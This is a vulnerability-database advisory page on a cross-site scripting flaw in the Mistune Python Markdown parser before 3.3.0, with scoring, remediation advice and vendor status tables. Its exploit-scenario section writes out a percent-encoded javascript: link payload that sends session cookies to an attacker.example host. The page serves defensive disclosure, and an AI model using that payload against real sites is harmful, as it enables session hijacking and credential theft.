Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft percent-encoded javascript: URI in Markdown
-
DeliverySubmit malicious link or image to target application
-
ExploitApplication renders Markdown via Mistune HTMLRenderer
-
Installsafe_url() passes encoded scheme unchecked
-
C2Rendered HTML delivered to victim's browser
-
ExecuteVictim clicks link or loads image
-
ImpactBrowser normalizes encoding and executes script
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the target application uses Mistune's HTMLRenderer to render attacker-influenced Markdown and serves the resulting HTML to other users' browsers. The attacker must be able to supply Markdown content containing links ([text](URL)) or images () - functionality that is on by default in Mistune's HTMLRenderer. User interaction is required: the victim must click the malicious link or load an image whose src triggers the javascript: URI. Exploitation is limited to web contexts where the rendered HTML is delivered to a browser; server-side-only Markdown processing with no HTML output to users is not affected. Authentication requirements on the attacker's side are not confirmed from available CVSS data (PR:N), meaning no attacker privilege is required to submit the payload, though the application's own access controls on who can post content may serve as a practical barrier. |
| Impact | The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N yields a 6.1 Medium score, which accurately reflects the attack surface: network-reachable with no privileges required and low complexity, but gated on user interaction (UI:R). The Scope:Changed metric is significant - successful exploitation affects the victim's browser session rather than the server, enabling session hijacking, credential theft, or malicious redirects. EPSS data was not provided in the input; given the Medium CVSS and absence of KEV listing, widespread automated exploitation is unlikely but targeted abuse in applications rendering untrusted Markdown is plausible. No POC has been confirmed in the input data, though the bypass technique (percent-encoding) is well-understood and trivially reproducible by anyone familiar with URL encoding. The realistic risk is highest for web platforms - wikis, documentation tools, comment systems, or note-taking apps - built on Python stacks that accept user-supplied Markdown. Applications that render Markdown server-side but never serve the output to other users are not affected. |
| Exploit ScenarioDerived | An attacker submits a Markdown comment on a web platform using Mistune, embedding a crafted link such as [click here](%6Aavascript:document.location='https://attacker.example/steal?c='+document.cookie). Mistune's safe_url() passes the percent-encoded scheme without blocking it, and the rendered HTML contains a javascript: href. When another authenticated user views the comment and clicks the link, their browser normalizes the percent-encoding, executes the script, and exfiltrates session cookies to the attacker's server. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 08, 2026
Cross-site scripting in Mistune Python Markdown parser (all versions before 3.3.0) allows attacker-controlled Markdown content containing percent-encoded javascript: URIs to bypass the HTMLRenderer.safe_url() URL sanitization filter and execute arbitrary script in victim browsers. The bypass works because safe_url() checks the raw string without first decoding percent-encoded characters, so schemes like %6Aavascript: or %6aVaScRiPt: evade detection while remaining valid to browsers. Any web application that renders user-supplied or attacker-influenced Markdown through Mistune and serves the output to other users is exposed. No public exploit or CISA KEV listing has been identified at time of analysis.
RemediationAI
Upgrade Mistune to version 3.3.0, which is the vendor-released patch per the GitHub release at https://github.com/lepture/mistune/releases/tag/v3.3.0 and the corresponding fix commit at https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc. If an immediate upgrade is not possible, the primary compensating control is to apply a secondary URL sanitization step after Mistune rendering - either via a dedicated HTML sanitization library (such as bleach or nh3 for Python) that explicitly allowlists safe URL schemes after percent-decoding, or by stripping anchor href and image src attributes from rendered output entirely when user-supplied content is involved. Note that disabling Mistune's built-in safe_url() check without replacement provides no protection. Wrapping the rendered HTML in a sandboxed iframe (sandbox attribute without allow-scripts) limits script execution but constrains page functionality and does not address the underlying issue.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Mistune (CPE: cpe:2.3:a:lepture:mistune:*:*:*:*:*:*:*:*) is a widely-used Python Markdown parsing library that supports rendering to HTML with optional sanitization features. Its HTMLRenderer class includes a safe_url() method intended to reject dangerous URL schemes, particularly javascript:, before including them in rendered anchor tags and image src attributes. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) is that safe_url() performs scheme detection on the literal input string without first applying percent-decoding. RFC 3986 percent-encoding is fully normalized by browsers before URL scheme dispatch, so %6A or any case-variant encoding of the letter 'j' suffices to produce a valid javascript: URI that browsers will execute while the raw string passes Mistune's allowlist check. This class of bypass has appeared repeatedly in URL sanitizers that operate pre-decode.
Know when Mistune gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Network-reachable with no privileges; UI:R because victim must interact with link; S:C because script executes in victim browser context separate from server.
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, HTMLRenderer.safe_url() does not block percent-encoded javascript URIs, allowing attacker-supplied Markdown links or images to bypass URL protections and execute script in rendered HTML. This issue is fixed in version 3.3.0.
Blast Radius
ecosystem impact- 1 pypi packages depend on mistune (1 direct, 0 indirect)
Ecosystem-wide dependent count for version 3.3.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Uncontrolled CPU consumption in Mistune, a Python Markdown parser, allows remote unauthenticated attackers to cause deni
Denial of service in Mistune (the lepture Python Markdown parser) before 3.3.0 lets remote unauthenticated attackers exh
Denial of service in Mistune, a Python Markdown parser, affects all versions prior to 3.3.0 when the strikethrough, mark
Denial of service in Mistune, a widely used pure-Python Markdown parser, affects all versions prior to 3.3.0 where the d
Cross-site scripting in Mistune prior to 3.3.0 stems from an incomplete URI scheme blocklist in the `safe_url` filter, p
mistune.py in Mistune 0.7.4 allows XSS via an unexpected newline (such as in java\nscript:) or a crafted email address,
Path traversal in Mistune's Include plugin allows reading arbitrary files from the server filesystem when processing att
Unbounded recursion in Mistune's Include directive (all versions prior to 3.3.0) can be triggered by a pair of mutually-
Quadratic denial of service in Mistune's Markdown parser (parse_link_text) affects versions 3.2.0, 3.2.1 and main prior
Denial of service in Mistune 3.3.0 through 3.3.3 allows unauthenticated remote attackers to exhaust CPU and stall reques
Predictable heading anchor ID generation in Mistune's toc plugin (all versions prior to 3.3.0) enables same-page navigat
In mistune through 2.0.2, support of inline markup is implemented by using regular expressions that can involve a high a
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.0 SUSE Linux Enterprise Server for SAP applications 16.0 | Fixed |
| openSUSE Leap 16.0 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP7 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Server 16.0 | Affected |
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| openSUSE Leap 16.0 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Not-Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Not-Affected |
| SUSE Manager Proxy 4.3 | Not-Affected |
| SUSE Manager Retail Branch Server 4.3 | Not-Affected |
| SUSE Manager Server 4.3 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP6 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Not-Affected |
| openSUSE Leap 15.3 | Not-Affected |
| openSUSE Leap 15.4 | Not-Affected |
| openSUSE Leap 15.5 | Not-Affected |
| openSUSE Leap 15.6 | Not-Affected |
EUVD-2026-42331
GHSA-8c25-4j27-2rv3
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB